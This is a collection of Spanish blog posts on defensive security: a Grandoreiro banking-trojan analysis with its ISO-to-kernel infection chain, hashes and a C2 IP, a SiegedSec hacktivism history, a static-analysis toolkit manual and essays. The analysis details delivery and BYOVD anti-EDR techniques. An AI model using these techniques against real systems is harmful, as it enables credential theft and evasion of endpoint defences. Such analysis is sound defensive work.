[{"content":" TLP:CLEARTodos los IOCs de malware son publicables. Datos de cliente anonimizados. Resumen ejecutivo Durante una práctica en un SOC me tocó una muestra entregada como archivo .ISO que simulaba un PDF. La descargó una usuaria desde un portal de tickets comprometido —phishing— y la cadena terminaba con un binario Delphi de 284 MB que dropeaba quince drivers .sys y abría un canal C2 cifrado hacia una IP en AWS.\nHubo tres veredictos sobre la misma muestra: yo dije Grandoreiro, otra lectura fue RatonRAT, y el sandbox automatizado (Joe Sandbox) no asignó familia. Este post reconstruye toda la lógica del malware —del Mark-of-the-Web del ISO hasta el intento de pivotar a Ring 0— y resuelve la discrepancia con evidencia.\nVeredicto. Es Grandoreiro: troyano bancario brasileño en Delphi, operado como Malware-as-a-Service desde 2016. Lo confirman, de forma convergente, la detección multi-AV (trojan.grandoreiro), la huella del runtime Delphi, el algoritmo de descifrado de strings documentado por IBM X-Force, su DGA de 14 semillas vía DoH, sus módulos de banca (keylogger, captura, overlay) y su geofencing. La rareza —y el verdadero hallazgo— es que esta muestra trae un módulo BYOVD (driver vulnerable) para cegar al EDR, algo atípico de la familia. “RatonRAT” fue un falso positivo del sandbox (lo veremos). La etiqueta de un sandbox es una hipótesis; la atribución se sostiene en evidencia convergente. Tabla de identificación Trabajé sobre tres ISO hermanas de la misma campaña (análisis estático local) y crucé el comportamiento con el reporte de sandbox de un cuarto sample hermano (AnexARCPSA4463.iso) que el cliente había subido. Conviene mantenerlos separados.\nArtefacto Tipo Tamaño SHA-256 6316NM_705841XIHNAO-Reg.iso ISO 9660 5.75 MB c48c0045681613f8a8bfd0c61bd96227245db980297148248ff019a3c4ce039d 655635JUBXYP8Tiggib_Cpd31725.iso ISO 9660 8.31 MB 5bb0440809f417d3ec3ecee6c9d2970ab847e2f491ad23ead200bd00fa4d3aa8 66352Snc_KS1U64FMSI97918ltst.iso ISO 9660 5.60 MB 52333a7f4436591ca13eee54c10a62c74489f35879e9c0fa7435d0e53746bdce AnexARCPSA4463.iso (sandbox) ISO 9660 6.61 MB f833c7b350f5fea12de4cfcc42a1eaf47746f2a6369a068ea8715798b110106e Severidad que le asigno: CRÍTICA (robo de credenciales bancarias + BYOVD anti-EDR + persistencia + C2 activo).\nMetodología: el orden que doma el caos Analizar una muestra se siente caótico —saltas de un string a una IP, de un driver a un hash, de una corazonada a otra—. Mi propia investigación arrancó así. Pero hay un pipeline que ordena ese desorden, y la regla es simple: lo barato primero, lo caro al final, y nada se ejecuta hasta tener el laboratorio listo. Es el modelo de cuatro niveles de Practical Malware Analysis (Sikorski \u0026 Honig) y de SANS FOR610, resumido en la pirámide de fases de Lenny Zeltser. Las secciones que siguen recorren estas fases en orden.\nFase Qué se hace Herramientas Dónde, en este post 0 · Triage + OPSEC Laboratorio aislado; nunca ejecutar en el host; hash (MD5/SHA-256); procedencia (MOTW/Zone.Identifier); tipo real por magic, no por extensión sha256sum, file, HxD, VM sin red §1, §3 1 · Estático básico strings, secciones e imports PE, entropía, packer/inflado, YARA, multi-AV — recordando que las etiquetas de AV/sandbox son indicadores, no veredictos strings, FLOSS, PEStudio, DiE, YARA, VirusTotal §3, §4.3, §5.1 2 · Estático avanzado / reversing desensamblado, deofuscación, carving recursivo de payloads (base64 → ZIP → PE), descifrado de strings, extracción de config C2 Ghidra/IDA, CyberChef, Python §4, §5.3 3 · Dinámico / comportamental VM instrumentada o sandbox: árbol de procesos, persistencia, registro, archivos, red/C2 — con ojo al anti-análisis Procmon, Regshot, Wireshark, INetSim/FakeNet §7, §8 4 · Atribución convergencia de evidencia; separar señales fuertes (firma de familia, lenguaje/compilador, algoritmo, DGA) de débiles (auto-label, infra compartida); distinguir kit de entrega de payload MITRE ATT\u0026CK, Malpedia, VT Intelligence §5, §8 5 · IOCs, detección, reporte filtrar ruido benigno, mapear MITRE, escribir YARA/Sigma, técnicas de caza, reporte reproducible con OPSEC YARA, Sigma, Markdown §9–§12 Dos principios transversales que conviene tener presentes:\nNo es lineal, es un bucle. Cuando la Fase 1 detecta empaquetado o inflado, no se puede saltar directo al reversing: hay que ejecutar/desempaquetar para obtener la siguiente etapa y volver al estático sobre ella. En este caso el bucle fue explícito: VBS → (decode) → ZIP → (extraer) → PE Delphi → (analizar) → payload. flowchart LR A[\"Estático básico\"] --\u003e|detecta empaquetado/inflado| B[\"Dinámico / decode\"] B --\u003e|obtiene la etapa siguiente| C[\"Dump / extracción\"] C --\u003e|se reanaliza el binario nuevo| A Economía de esfuerzo. El triage y el estático básico son baratos y se hacen siempre, primero; el reversing manual es caro y solo se justifica cuando lo anterior no alcanza (descifrar un C2, entender la lógica de evasión). Y un apunte de OPSEC: subir el hash a VirusTotal es seguro, pero no subir la muestra cruda de un cliente a plataformas públicas si el ataque es dirigido —alertaría al actor—. La diferencia entre “saltar de un punto a otro” y un análisis ordenado no es no volver atrás —se vuelve todo el tiempo—, sino saber en qué fase estás y por qué. La atribución (Fase 4) viene después de juntar la evidencia, no antes: ahí estuvo mi error inicial, y por eso esta vez la dejé para el final. 1. El incidente (anonimizado) Una usuaria de una oficina regional del cliente recibió, a través del portal de tickets de un proveedor de e-commerce (que el actor usó como plataforma de subida), lo que parecía un PDF. Era una imagen ISO. Al hacer doble clic, Windows la montó como unidad óptica; dentro había un VBScript. La usuaria lo ejecutó.\nNo es casualidad. Desde que Microsoft empezó a bloquear macros de Office descargadas de internet, las imágenes de disco (ISO/IMG/VHD) se volvieron el contenedor de moda: Windows las monta con doble clic, y durante años el Mark-of-the-Web (MOTW) no se propagaba a los archivos dentro de la imagen, así que el VBS arrancaba sin la advertencia de “este archivo vino de internet”.\nLa respuesta del SOC fue de manual: aislamiento vía EDR, deshabilitación de la cuenta en AD, full disk scan con SentinelOne, y —dada la presencia de drivers— sospecha de BYOVD. Un detalle que más adelante cobra sentido: el full disk scan no encontró nada.\nDust — Un escaneo que vuelve limpio debería tranquilizar. Aquí hizo lo contrario: cuando la herramienta dice “nada” y el contexto grita “algo”, el silencio deja de ser ausencia de amenaza y se vuelve un dato. Me quedé con esa incomodidad; al final era la punta del hilo.\n2. La cadena, de un vistazo flowchart TD A[\"ISO con MOTW (phishing)simula un PDF fiscal\"] --\u003e|doble clic, monta unidad| B[\"VBScript ofuscado5–7 MB · Replace de basura\"] B --\u003e|base64 → ADODB.Stream| C[\"ZIP en %LOCALAPPDATA%\"] B -.-\u003e|DLLs disfrazadas .XML| H[\"FZCEI1.XML / QFYDAZ2.XMLPE DLL · LoadLibrary\"] C --\u003e|Shell.CopyHere| D[\"IRAJDIKhcfTSUBn.cwl\"] D --\u003e|MoveFile .cwl→.exe + ShellExecute| E[\"U3N$hEhsdp15r.exedropper Delphi · 123 MB\"] E --\u003e F[\"EliteTrackhsvxProcessAdvanced.exepayload Grandoreiro · 284 MB\"] F --\u003e P[\"Persistencia: Run HKLM+HKCUIGCCStartupAgent… (/runas)\"] F --\u003e G[\"BYOVD: 15 drivers .sysDellInstrumentation.sys → Ring 0\"] F --\u003e M[\"Módulos banker:keylogger · captura · clipboard · EWM injection\"] F --\u003e N[\"C2: DGA 14 semillas vía DoH32.192.217.212 · puertos altos · AES\"] G -.-\u003e|ciega callbacks de kernel| X[\"SentinelOne neutralizado\"] 3. Anatomía de la entrega Las tres ISO comparten estructura exacta. Primero confirmo que vinieron de internet leyendo el alternate data stream Zone.Identifier:\n$ cat \"muestra/6316NM_705841XIHNAO-Reg.iso:Zone.Identifier\" ⧉ copiar [ZoneTransfer] ZoneId=3 ZoneId=3 = zona “Internet”. MOTW presente en las tres. Ahora el contenido, sin montar nada (listar ≠ ejecutar):\n$ 7z l 6316NM_705841XIHNAO-Reg.iso ⧉ copiar Date Time Size Name ---------- ----- ---------- ------------------------------------------ ... 02:17:22 5","date":"2026-06-29","section":"posts","series":null,"summary":"Una muestra real que analicé en una práctica SOC. Yo dije Grandoreiro; el sandbox dijo RatonRAT. Writeup técnico de toda la cadena —del ISO falso al kernel— y de por qué la etiqueta automática de un sandbox no es un veredicto: era Grandoreiro, con la rareza de traer su propio driver vulnerable.","tags":["malware","blue-team","soc","analisis","byovd","grandoreiro","mitre-attack","threat-intel","proyecto"],"title":"Sí era Grandoreiro: anatomía de un banker LATAM con BYOVD","url":"/posts/grandoreiro-byovd/"},{"content":" TLP:CLEARInteligencia de fuente abierta. Grupo disuelto en julio de 2024. Material defensivo/educativo; mezcla informe técnico, contexto cultural y comentario. SiegedSec, 2022–2024: la estética de gatito sobre el cibercrimen. Cuarenta y cinco mil números de seguridad social, y la única condición que el grupo puso para borrarlos fue que el laboratorio nuclear investigara cómo fabricar catgirls reales.\nLas dos frases pertenecen al mismo comunicado. Esa convivencia —el dato que arruina la vida de una familia y la broma sacada de un foro a las cuatro de la mañana— es el centro de gravedad de esta historia. SiegedSec, los autodenominados gay furry hackers, vivieron de esa tensión durante dos años, y casi todo lo interesante de su caso está en negarse a resolverla en una sola dirección.\nLo que sigue cuenta la historia completa: quiénes eran, de qué cultura salieron, qué hicieron de verdad y qué solo dijeron, cómo entraban, y qué deja todo eso. Mezcla tres registros a propósito —informe técnico, contexto, comentario— porque el fenómeno no se entiende con uno solo. La regla constante es una sola: separar lo verificado (confirmado por la víctima o por reportes independientes) de lo reclamado (solo afirmado por el grupo en Telegram).\nQuiénes eran SiegedSec —abreviatura de Sieged Security— fue un colectivo hacktivista activo entre abril de 2022 y julio de 2024. Grupo pequeño, descentralizado y de baja sofisticación técnica, con un perfil deliberadamente teatral: emoticones :3 y ^-^, aperturas con “mew mew mew”, GIFs de gatos, el meme BoyKisser. El linaje es explícito y declarado: LulzSec, el grupo que una década antes ya hacía intrusiones de oportunidad como espectáculo, burlándose de las víctimas y de la propia escena de seguridad.\nCampo Valor Nombre SiegedSec (Sieged Security) Tipo Colectivo hacktivista Activo abril 2022 – julio 2024 Personas clave YourAnonWolf (fundador) → Vio (líder/portavoz) Membresía Pequeña y fluctuante; edades reportadas 18–26 (confianza media) Plataformas Telegram (principal), X/Twitter (amplificación) Alianzas Cofundador de The Five Families (con GhostSec, Stormous, ThreatSec, BlackForums) Motivación Hacktivismo (pro-LGBTQ+/trans, pro-aborto, anti-derecha) + “diversión y caos” Sofisticación Baja. Sin malware propio, sin persistencia, operaciones smash-and-grab El fundador, YourAnonWolf, venía de GhostSec; más adelante la cara pública fue Vio, que dio una AMA en Reddit y una entrevista a Business Insider donde resumió el objetivo del grupo como “have fun and cause chaos”. La selección de blancos, sin embargo, no era azarosa: respondía a la coyuntura política —la reversión de Roe v. Wade, las leyes estatales anti-trans, Project 2025, el conflicto en Gaza—.\nSesgo de autorreporte. SiegedSec exageró sistemáticamente el volumen y la sensibilidad de lo que comprometía. Una captura de pantalla en un canal de Telegram no es una verificación. A lo largo del texto, cada cifra viene etiquetada como reclamada o verificada. Furros, queers y hackers: el fenómeno infursec Antes de los ataques conviene entender el agua en la que nadaban, porque la etiqueta gay furry hackers no era una pose vacía ni una rareza aislada. Existe una superposición real y documentada entre el fandom furry y la industria de seguridad informática, lo bastante reconocida como para tener nombre propio: infursec, contracción de infosec y furry.\nLa intersección está bien documentada. SiegedSec queda en el borde, no en el centro.crédito: datos: FurScience / DEF CON Furs El fandom furry es una comunidad construida alrededor del arte y los personajes antropomórficos —no una franquicia ni un fetiche, como suele caricaturizarse—. Cada miembro suele tener una fursona: un avatar animal personalizado que funciona como identidad. Los estudios revisados por pares del International Anthropomorphic Research Project (conocido como FurScience) llevan más de una década midiendo esta comunidad, y los números explican buena parte de la superposición con la seguridad:\nCerca del 75% se identifica como no heterosexual, y alrededor del 15% como género-diverso (trans, no binario, genderqueer). Los furros son al menos 2,25 veces más propensos a estar en el espectro autista que la población general, con altas tasas reportadas de TDAH. La neurodivergencia se correlaciona con pensamiento sistemático, reconocimiento de patrones y foco intenso —aptitudes que la seguridad informática premia—. El fandom creció como subcultura digital en los noventa y dos mil, sobre MUCKs, IRC, BBSs y foros propios. Para participar había que administrar servidores y redes: habilidades directamente transferibles a IT y seguridad. A eso se suma un motor menos técnico y más humano: una comunidad históricamente estigmatizada, mayoritariamente queer, desarrolló temprano una conciencia aguda de privacidad y autodefensa digital. Aprender seguridad operacional no era un hobby; era una forma de existir online sin que el acoso te alcanzara. La fursona y el seudónimo desacoplan la participación de la identidad legal —exactamente la misma lógica con la que un profesional de seguridad separa su persona pública de su nombre real—.\nUn fursuiter en una marcha por la igualdad. El fandom, mayoritariamente queer, hizo de la visibilidad pública —y de protegerla— parte de su identidad.crédito: Silar, CC BY-SA 4.0 · Wikimedia Commons La manifestación más legítima de todo esto es DEF CON Furs: lo que empezó en 2016 como un meetup informal en la conferencia de hacking más grande del mundo se volvió, en 2017, un “con-within-a-con” con charlas técnicas, paneles y badgelife (el arte de fabricar badges electrónicos custom), hoy bajo el paraguas de una organización sin fines de lucro. No es anécdota: es infraestructura comunitaria. La frase medio en broma “the furries run the internet” —que un montón de gente en roles críticos de backend, infra y seguridad tiene fursona— no está cuantificada con rigor, pero se repite con una consistencia que cuesta ignorar.\nEl Cyber Grand Challenge de DARPA en DEF CON 24, la misma conferencia donde los DEF CON Furs tienen su propio espacio desde 2017.crédito: Tony Webster, CC BY 2.0 · Wikimedia Commons Correlación, no causalidad. Nada de esto dice que ser furro te vuelva hacker, ni al revés. Dice que dos comunidades nacidas en la misma internet temprana, con demografías que se solapan (queer, neurodivergente, digital-first), terminaron compartiendo gente. El estereotipo gay furry hacker tiene base empírica; reducir a una comunidad diversa a ese tropo, no. Y acá viene la parte incómoda para la lectura fácil: SiegedSec no representaba a esa comunidad. Encajaban en lo identitario —eran genuinamente queer y furros, los blancos se alineaban con la defensa de derechos LGBTQ+, el registro de internet resonaba con la cultura online—. Pero la comunidad infursec real, la de DEF CON Furs y las fursonas en X, es de profesionales legales de seguridad con OPSEC riguroso. SiegedSec cometía delitos federales con seguridad operacional notoriamente pobre. Eran, más que herederos de DEF CON Furs, herederos de LulzSec: un misfit cultural deliberado, que tomó prestada una identidad genuina y la usó como marca. La etiqueta era auténtica; la representación, no.\nCronología timeline title SiegedSec — línea de tiempo operativa 2022-04 : Formación (YourAnonWolf, ex-GhostSec) 2022-06 : Campañas anti-aborto (post Roe v. Wade) 2022-12 : Primera \"disolución\" (táctica de evasión) 2023-02 : Atlassian vía Envoy (13.2K registros) 2023-06 : OpTransRights (5 estados de EE.UU.) 2023-07 : NATO 1ª oleada (Portal COI) + UConn (email falso) 2023-08 : Cofundación de The Five Families 2023-10 : NATO 2ª oleada (5 portales) 2023-11 : Israel (telcos + reclamos OT) + Idaho National Laboratory 2023-12 : TheTruthSpy (stalkerware, con ByteMeCrew) 2024-04 : Real America's Voice (AWS) 2024-07 : Heritage Foundation / Project 2025 -\u003e disolucion finalUn detalle de comportamiento que vale la pena fijar: la disolución como táctica de evasión. El grupo se anunciaba “muerto” pa","date":"2026-06-20","section":"posts","series":null,"summary":"La historia completa de SiegedSec: el colectivo que entró a un laboratorio nuclear con cara de gato. Informe técnico, contexto sobre furros e infursec, y un comentario sobre por qué el disfraz no era lo contrario del ataque.","tags":["cti","threat-intel","hacktivismo","infursec","furry","mitre-attack","ensayo"],"title":"Gay furry hackers","url":"/posts/siegedsec-gay-furry-hackers/"},{"content":"Hay una tentación, frente a un archivo desconocido, de querer que una sola herramienta diga la verdad sobre él: que se prenda una luz verde o una roja y se termine la conversación. Este manual es, en parte, un argumento contra esa tentación.\nAPT115 hace análisis estático: lee el archivo sin ejecutarlo, mira su estructura, sus cadenas, sus firmas, y reporta lo que encuentra. Eso es mucho y es poco al mismo tiempo. Es mucho porque la estructura de un binario dice más de lo que su autor quisiera —los nombres de las secciones, los imports, la entropía de un bloque comprimido, la marca de tiempo que no cuadra. Es poco porque nada de eso es el archivo corriendo, mostrando lo que realmente hace cuando cree que nadie lo mira.\nConviene decirlo de entrada: lo que sale de acá es una lectura, no la lectura. Un triage orienta; no concluye. Indica por dónde empezar a desconfiar, qué panel mirar dos veces, qué derivar a un sandbox o a un desensamblador de verdad. La herramienta es necesaria y no es suficiente, y casi todo el daño que se hace con estas cosas viene de confundir esas dos palabras —de leer un “no detecté nada” como un “no hay nada”.\nHay además una [[encontrar-uno-bloquear-todos|asimetría que conviene tener presente]]. Encontrar un indicador es un problema de búsqueda: basta con que aparezca uno. Descartar que el archivo sea malicioso es un problema de cobertura: habría que descartarlos todos, y eso no se hace leyendo una cabecera en el navegador. Por eso, para cada herramienta, el manual no solo explica qué hace y cómo se usa, sino a qué herramienta profesional derivar cuando el triage llega a su límite. Saber dónde termina lo que una herramienta puede afirmar es parte de saber usarla.\nLo que sigue recorre cada panel y cada tool con esa idea encima: qué mira, qué señal importa, y qué no se sigue de lo que muestra.\nAPT115 — Codex Arcanum es un toolkit de análisis estático de malware y seguridad ofensiva que corre 100% en tu navegador: nada se sube a ningún servidor, nada se ejecuta, y la mayoría de los motores funcionan incluso sin internet (file://). Este manual recorre cada herramienta: qué hace, cuándo usarla, cómo usarla paso a paso, y a qué herramienta profesional derivar cuando necesites ir más a fondo — porque APT115 está pensado para orientar un triage rápido, no para reemplazar a un analista ni a un sandbox.\nÍndice Triage: ejecutables y formatos Triage: documentos, red y esteganografía LAB / TOOLS ofensivas y utilitarias Forensics Triage: ejecutables y formatos La tool 🧪 Malware Triage (menú LAB / TOOLS) es el punto de entrada para todo lo de esta sección. Funciona así:\nAbre /apt115/ y elige Malware Triage en el sidebar. Arrastra un archivo a la zona de drop (o haz click para elegirlo desde el explorador). Puedes soltar un PE (.exe/.dll), un ELF (binario Linux), un Mach-O (macOS/iOS), o cualquier otro archivo. APT115 lee el archivo con FileReader, detecta el formato y corre todos los analyzers que aplican a ese tipo de archivo, uno debajo del otro como paneles colapsables. Cada panel se abre/cierra haciendo click en su título. Cargar un archivo nuevo libera la memoria del anterior automáticamente. Las secciones que siguen son los paneles que vas a ver para un ejecutable (PE de Windows, ELF de Linux o Mach-O de macOS/iOS). Cada uno aparece solo si aplica al archivo que soltaste — un ELF no muestra el panel “PE Structure”, por ejemplo.\nFile Info Qué hace: identifica el tipo de archivo por sus magic bytes (no por la extensión), y si es un ejecutable muestra arquitectura, si es EXE o DLL/SO, y la marca de tiempo de compilación (o avisa si esa marca no es una fecha válida, lo que puede indicar un reproducible build o timestomping).\nCaso de uso: es el primer panel que miras siempre — confirma que el archivo es lo que dice ser (un .jpg que en realidad es un PE es ya una señal de alerta) y te da el contexto (arquitectura, plataforma) para interpretar todo lo demás.\nCómo usarlo: no requiere acción — se completa solo al soltar el archivo. Fíjate especialmente en la fila Tipo (magic bytes): si no coincide con la extensión del archivo, es la primera señal sospechosa.\nLímites: solo lee la cabecera; no valida que el resto del archivo sea coherente con ese tipo.\nPara seguir investigando: el comando file (Linux/macOS) o TrID/ Detect It Easy (DIE) en Windows hacen esta misma identificación con bases de firmas mucho más grandes y dan más detalle sobre packers/instaladores. Si “File Info” te tira algo raro (magic que no encaja, tamaño inconsistente), confírmalo con file -b \u003carchivo\u003e antes de seguir.\nHashes Qué hace: calcula MD5, SHA-1 y SHA-256 del archivo completo (Web Crypto + SparkMD5), y según el formato agrega hashes especializados: imphash y richhash (PE), build-id y telfhash (ELF), LC_UUID (Mach-O), y TLSH (fuzzy hash, para todos los formatos si el archivo tiene suficiente complejidad). Cada hash tiene un botón de copiar, y debajo aparecen links opt-in a VirusTotal y MalwareBazaar (solo abren una pestaña al hacer click — no se consulta nada solo).\nCaso de uso: SHA-256 es lo que vas a pegar en VirusTotal o compartir en un reporte. imphash/telfhash/richhash/TLSH sirven para clustering: encontrar otras muestras de la misma familia o del mismo toolchain de compilación aunque el hash exacto del archivo no coincida.\nCómo usarlo: click en cualquier hash para copiarlo. Si tienes otro valor TLSH a mano (de otra muestra), pégalo en el campo “comparar” para medir distancia/similitud entre ambas.\nLímites: TLSH necesita un mínimo de tamaño/complejidad — en archivos muy chicos o muy uniformes da “N/A”. El telfhash es una reimplementación fiel pero no está cruzado contra una base pública.\nPara seguir investigando: para clustering a mayor escala, VirusTotal (retrohunt, similar-files) y MalwareBazaar ya tienen estos hashes indexados contra millones de muestras — pega el SHA-256 o el imphash/TLSH ahí para ver familias relacionadas. Para fuzzy hashing más general (no solo binarios), ssdeep es el estándar de facto.\nEntropía Qué hace: calcula la entropía de Shannon del archivo completo y, si es un PE, de cada sección por separado (en otros formatos, divide el archivo en 8 bloques). Valores ≳ 7.2 sugieren datos comprimidos o cifrados.\nCaso de uso: detectar packing o payloads cifrados/comprimidos embebidos. Una sección .text con entropía altísima (cuando normalmente tendría 5-6) es una señal fuerte de que el código real está empacado y lo que ves es un stub de descompresión.\nCómo usarlo: no requiere acción. Mira qué sección o bloque tiene el valor más alto — combínalo con el panel de YARA o PEiD para confirmar si hay una firma de packer conocida ahí.\nLímites: una entropía alta es una señal, no una prueba — un recurso PNG embebido o datos ya comprimidos legítimamente también dan entropía alta.\nPara seguir investigando: Detect It Easy (DIE) y CFF Explorer grafican la entropía por sección igual que acá pero permiten además navegar y volcar esas secciones a disco. Si confirmas packing, el siguiente paso es un entorno dinámico (sandbox, debugger) para volcar la memoria desempacada — algo que APT115 explícitamente no hace.\nPE Structure Qué hace: parser propio de Portable Executable (Windows). Muestra máquina, subsistema, entry point, image base, characteristics, las mitigaciones (ASLR, DEP/NX, CFG, Force Integrity) como badges ✓/✗, la tabla de secciones (con su entropía), y los imports agrupados por DLL — con las APIs “notables” resaltadas (las típicas de inyección de proceso, persistencia, anti-debug, red/C2, etc., con un tooltip que explica por qué importan).\nCaso de uso: es el panel central para entender qué puede hacer un PE sospechoso sin ejecutarlo: qué DLLs necesita, qué funciones de Windows usa (¿CreateRemoteThread + WriteProcessMemory? eso es inyección), y si tiene las protecciones de memoria que cabría esperar de un binario “normal”.\nCómo usarlo: despliega cada DLL en “Imports” haciendo click — las funciones resaltadas en rojo/naranja (con tooltip) son las que vale la pena","date":"2026-06-15","section":"posts","series":null,"summary":"Manual de usuario de APT115: qué hace cada herramienta del toolkit de análisis estático y seguridad ofensiva, cuándo usarla, cómo paso a paso, y a qué herramienta profesional derivar cuando el triage llega a su límite.","tags":["apt115","malware","análisis-estático","seguridad-ofensiva","forensics","herramientas"],"title":"Manual de APT115 — Codex Arcanum","url":"/posts/apt115-manual/"},{"content":" 🎵 Opiate² — TOOL Buscamos gente con pensamiento crítico. Se dice con la cara seria en entrevistas de trabajo, en aulas, en el discurso de apertura de cualquier institución que quiera sonar moderna. Se dice tanto que dejó de mirarse. Y cuando una frase se repite hasta perder relieve, casi siempre es porque protege algo que sí importa y que nadie quiere nombrar.\nLo que protege es esto: se pide pensamiento crítico, pero se pide medido. Se quiere a alguien que cuestione el proceso, no la premisa del proceso. Que mejore el sistema, no que diga que el sistema no existe. El pensamiento crítico es bienvenido mientras se mantenga del lado seguro de una línea que nadie dibuja explícitamente pero que todos saben dónde está. Cruzarla no se castiga con un reglamento. Se castiga con incomodidad, con distancia, con la sensación física de que el que habló de más rompió algo que se suponía que no debía tocar.\nNo es hipocresía. Es estructura. Y la diferencia importa, porque a la hipocresía se le puede pedir coherencia y a la estructura no: la estructura solo se puede entender, y después decidir qué hacer con ella.\nEl umbral no es moral. Es de carga.\nToda creencia central de una persona o de una organización es estructural en el sentido literal: sostiene peso. Sobre ella se apoyan decisiones, identidad, años de esfuerzo, la justificación de por qué se hizo lo que se hizo. Cuestionar una creencia periférica es barato; se puede revisar sin que se caiga nada. Cuestionar una creencia que sostiene peso es otra cosa. No es que la persona no pueda entender el argumento. Es que entenderlo le sale carísimo.\nEse es el punto que casi nadie dice en voz alta. El crítico honesto no es rechazado porque se equivoque. Es rechazado, muchas veces, precisamente cuando tiene razón. Una crítica falsa se descarta sin costo — se refuta o se ignora, y la estructura queda como estaba. Una crítica acertada que toca una viga obliga a elegir entre dos cosas: reescribir la estructura, o deshacerse de quien la señaló. Reescribir la estructura cuesta meses, a veces años, a veces una identidad entera. Deshacerse del que señaló cuesta una conversación incómoda y un poco de frío. El sistema cognitivo elige lo barato. Siempre elige lo barato. No por cobardía: por economía. La cobardía sería un defecto del carácter; esto es una propiedad del presupuesto.\nPor eso la gente que reclama pensamiento crítico a los cuatro vientos suele ser la que peor lo tolera cuando le llega de verdad. No mienten cuando lo piden. Piden el pensamiento crítico que imaginan: agudo, incómodo para otros, validante para ellos. Lo que llega cuando llega de verdad es otra cosa. Llega apuntando a lo propio. Y ahí el discurso se invierte sin que la persona note la inversión. Eso no es crítica, es negatividad. Eso no es honestidad, es soberbia. No aporta. No suma. No es el momento. Son las frases con las que un sistema expulsa lo que no puede integrar sin reescribirse. No son acusaciones. Son síntomas.\nDescartar al mensajero es más rápido que pensar el mensaje.\nAquí conviene ser preciso, porque es fácil convertir esto en una queja, y la queja no sirve. El mecanismo no es que la gente sea tonta o deshonesta. Es que pensar de verdad lo que el otro dice — cuando el otro dice algo que choca con lo que uno construyó — es un trabajo que el cerebro está diseñado para evitar. Reescribir una creencia central no es agregar un dato. Es demoler y volver a levantar con la casa habitada. Mientras tanto hay que seguir funcionando, decidiendo, sosteniéndose. El camino corto — descartar a quien trajo el dato — deja la casa en pie. El camino largo la pone en obra.\nLa mayoría elige la casa en pie. Y lo notable es que después no recuerda haber elegido. La mente fabrica la razón por la cual el crítico estaba equivocado, y la fabrica con tanta eficiencia que la persona queda convencida de que pensó el asunto cuando lo único que hizo fue cerrarlo. Eso es lo que vuelve tan solitaria la posición del que mira de más: no es que lo contradigan. Es que lo procesan, lo archivan como ruido, y siguen. Sin fricción visible. La fricción quedó adentro, resuelta a favor de lo cómodo, y borrada del registro.\nHay una palabra exacta para lo que las instituciones venden cuando piden crítica y reparten consuelo, y no es mentira. Es anestesia.\nLa anestesia no es un engaño: es un producto, y cumple. Apaga la señal sin tocar la causa. El dolor — en un cuerpo, en una organización, en una creencia — es información: avisa que algo está soportando una carga que no puede soportar. La promesa institucional (estás seguro, estamos protegidos, aquí valoramos a los que piensan) actúa sobre esa señal exactamente como actúa un analgésico: la suprime, y deja la causa intacta, trabajando en silencio. El que compra la promesa no compra protección. Compra dormir. Y dormir tiene demanda infinita, porque la alternativa — sentir la viga crujir cada noche — es invivible sin obra, y la obra es cara.\nPor eso el mercado de la tranquilidad es el más estable que existe: no depende de que el producto funcione, depende de que el cliente necesite creer que funciona. Y por eso el que interrumpe el efecto — el que dice la señal sigue ahí, solo dejaste de sentirla — no es recibido como un diagnóstico. Es recibido como el dolor mismo. Matar al mensajero y subir la dosis son, estructuralmente, el mismo gesto.\nAhora la pregunta que casi nadie está listo para escuchar.\n¿Qué pasaría si te dijeran que buena parte de lo que estudiaste, lo que te esforzaste en dominar, la disciplina entera a la que le diste años, es teatro? No mentira. Teatro. Una puesta en escena que cumple una función real — tranquilizar, ordenar, justificar presupuestos — pero cuya relación con lo que dice proteger es mucho más floja de lo que el folleto admite.\nLo digo desde un oficio que conozco de los dos lados. La ciberseguridad se vende sobre una promesa: estás seguro, nosotros te protegemos. Es una promesa cómoda para todos. El que la compra puede dormir. El que la vende puede facturar. Y casi nadie en la cadena tiene incentivo para mirar de cerca qué hay debajo de la palabra protección.\nLo que hay debajo, en gran medida, es un programa paranoico. Un sistema que bloquea por defecto todo lo que no reconoce y lo retiene hasta que alguien — una persona o un modelo — revisa y dictamina que es legítimo. Deny by default. No distingue lo bueno de lo malo. Distingue lo conocido de lo desconocido, y trata lo desconocido como culpable hasta prueba en contrario. Funciona, a su manera. Detiene casi todo lo torpe, lo masivo, lo ya catalogado. Lo que no detiene es lo que vino diseñado para no parecerse a nada catalogado. Y ahí la palabra protección empieza a mostrar de qué está hecha.\nPorque la amenaza que importa no es la que el programa frena. Es la que pasa. Y cuando pasa una de verdad — sofisticada, paciente, hecha para no levantar la mano — el trabajo real deja de ser proteger. Pasa a ser otra cosa: reconstruir cómo entró, qué tocó, cuánto tiempo estuvo adentro, y después armar un relato razonable de por qué no va a volver a ocurrir. Lo primero es ingeniería forense, difícil y honesta. Lo segundo es teatro. Y el teatro suele terminar en una recomendación que cabe en una línea: no vuelvas a descargar adjuntos de correos raros.\nLos números no acompañan al folleto.\nEsto no es opinión amarga; está en los datos de quienes investigan incidentes reales, y conviene tratarlos despacio porque cada uno desarma una pieza distinta de la escena.\nEl informe M-Trends 2026 de Mandiant, construido sobre cientos de miles de horas de respuesta a incidentes, muestra que el tiempo entre el acceso inicial a una red comprometida y el traspaso a un segundo actor — el momento en que la intrusión ya está industrializada y en venta — se desplomó de más de ocho horas en 2022 a veintidós segundos en 2025. Veintidós segundos. Menos de lo que tarda un analista en terminar de leer la alerta que le avisa que la brecha empezó. El mercado del acceso ilegítimo se automatizó más rápido ","date":"2026-06-11","section":"posts","series":null,"summary":"Todo sistema bloquea por defecto lo que no puede integrar sin reescribirse. Las organizaciones también. Las cabezas también.","tags":["ensayo","pensamiento-crítico","ciberseguridad","teatro"],"title":"Bloqueado por defecto","url":"/posts/bloqueado-por-defecto/"},{"content":" 🎵 Maestro de Ceremonias — Ozelot Hace unos días me di cuenta de que estoy cerca de lograr algo que perseguí durante años. Lo registré como se registran los hechos importantes: sin ceremonia, en medio de otra cosa, con la mente ya ocupada en el paso siguiente. Y unos segundos después llegó lo que no esperaba. No alegría. No alivio. Un hueco. Algo frío y administrativo, como la sensación de ver un contrato cumpliéndose cláusula por cláusula, en orden, sin que falte nada — salvo lo que nunca estuvo escrito.\nQuiero entender ese hueco antes de que se disuelva en la rutina, porque las emociones que llegan a destiempo suelen ser las que traen información verdadera. La alegría en el momento del logro es protocolo; el vacío en el momento del logro es diagnóstico. Y los diagnósticos no se celebran ni se entierran. Se leen.\nEn las historias de pactos con el diablo hay un detalle técnico que casi todo el mundo pasa por alto, y es que el diablo nunca incumple. Revisa esas historias: el contrato se ejecuta siempre, completo, a la letra. El engaño no vive en la ejecución. Vive en la especificación. El 